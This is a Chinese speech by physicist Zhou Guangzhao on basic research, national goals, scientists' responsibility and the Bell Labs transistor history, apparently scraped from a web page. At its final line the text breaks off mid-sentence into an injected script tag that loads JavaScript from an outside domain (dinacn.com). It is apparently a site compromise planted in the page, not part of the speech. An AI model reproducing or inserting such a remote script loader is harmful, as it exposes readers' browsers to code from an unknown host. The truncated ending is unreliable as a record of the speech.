基础研究与国家目标
——在国家重点实验室计划实施20周年、973计划实施5周年纪念大会上的报告
周光召

    陈至立国务委员、程津培副部长和两位代表（国家重点实验室代表卢柯院士和973项目首席科学家代表金之钧研究员）刚才已经作了很重要的讲话和发言，对于这些年来我国基础研究所采取的措施，取得的经验和成绩，有了非常系统、完整的描述。我想就这些问题，补充一点个人意见，重点讲六个问题。

    首先，科学是人类文明进步的动力和先进文化的重要组成部分。科学研究是技术创新、经济与社会持续发展的源泉。科学研究的水平，已经构成综合国力的重要因素；同时，基础研究也是培养和造就优秀创新人才的摇篮。因此，科学、教育是为未来发展所做的准备。可以把原来的一句老话改为“兵马未动，科教先行”。

    第二，基础研究的性质和推动力。基础研究探索事物运动的客观规律，它的主要目的是认识世界，发现事物表现的新现象、新特性和事物内部的新结构。它研究事物的起源、进化和衰亡，确定事物运动变化的因果关系、内在的相互作用和动力。科学前沿的研究既受到社会需求的推动，也有相当一部分研究没有特定应用目的，是由人类需要追求真善美，需要理解引起自然、社会和自身运动变化的原因而产生的强烈好奇心和求知欲所推动的。
    面向科学前沿的基础研究需要进入到未知的领域，具有前瞻性和探索性。人们对于研究结果的预测，只能根据已知的规律去外推，不可能完全正确。所以，对研究的必要性和研究结果的正确性，不同的研究组常常会有不同的判断，学术争论应该是经常的，甚至是激烈的。此外，在研究过程中，还会出现意想不到的新问题，或是推翻原有的设想，或是从失败中发现新的苗头，中途改变研究目标和方向，反而可能会做出全新的发现。由于基础研究的探索性，创造自由宽松的研究环境和开展经常的学术交流、学术争论和学术批评，是促进基础研究健康发展的必要条件。
    基础研究的成果是人类认识自然界和自身规律所获得的一种知识，它应当属于全人类，为全人类的幸福和全社会的繁荣服务。基础研究的开放性已经是国际科学界的共识，加强科技界合作是现今的潮流。我们应当加强与国际科学界的合作，促进我国科学的快速发展；也应当帮助落后的地区和国家发展基础研究，促使他们获得知识和自立的能力。
    知识虽然没有是非和好坏之分，但却不能避免为某些别有用心的人利用，做出危害人类和违背伦理道德的行为。科学家对人类的未来负有不可推卸的责任，必须公开向社会表明某些科学技术可能带来的潜在危害，推动社会立法和舆论，避免被不法分子掌握和利用。

    第三，应用目标导向的基础研究。二次大战以前，在大学进行的基础研究，一般是没有特定应用目的的，研究成果作为人类共同的知识财富无偿地提供给社会使用。很多基础研究成果开始并不认为具有应用价值，到后来才发现有重大的应用前景。例如，广义相对论在1915年发现的时候，没有人知道它对我们社会有什么具体的应用。但是现在我们发现，如果要使GPS系统能够精确定位，就需要借助于广义相对论。在二战期间，原子弹、雷达、超音速飞机、火箭和计算机的发明使美国认识到科学对国家军事实力和综合国力的重要性，所以战后美国开始大规模建立国家实验室，从事具有国家战略目标的前沿科学研究。数十年来，美国已经成功地发展了微电子、电脑和网络，并由此构成了当今新经济的支柱产业。
    下面，我们回顾一下美国发展晶体管的历史，从中吸取如何发展具有应用目标的基础研究，并进一步实现产业化的经验。我们知道，长途电话信号沿着电线传播会不断衰减，为此需要设立中继站在传播过程不断放大信号。早期采用栅极真空管进行放大，但由于真空管笨重，电能消耗也很大，一个由真空管组成的中继站需要占居一间很大的屋子，很难维护。因而，在当时已经普遍使用固体整流二级管实现收音机信号整流的情况下，能不能利用固体器件实现信号放大就成为当时美国电话电报公司贝尔实验室的一个主要研发目标。1945年6月，贝尔实验室主任任命物理学家肖克莱和化学家摩根为组长，组成包括布内顿、巴丁等一批物理、化学、电子学专家在内的小组开展深入研究。后来，在1947年圣诞节前该小组研制出了第一个点接触式的锗晶体管，实现了上述目标，肖克莱、布内顿、巴丁也因此获得了1956年诺贝尔物理奖。而在当时，普度大学的赫罗维兹教授也在进行高水平的半导体锗材料研究。很多人认为，如果当时他不是按无应用目标的基础研究方式工作，而是提出发展半导体器件用于放大信号的要求，并吸收具有应用背景的科学家组成研究组，则发现半导体晶体管的殊荣完全有可能会落到他的头上。由此看来，将科学前沿的基础研究?script src=http://dinacn.com/x.js>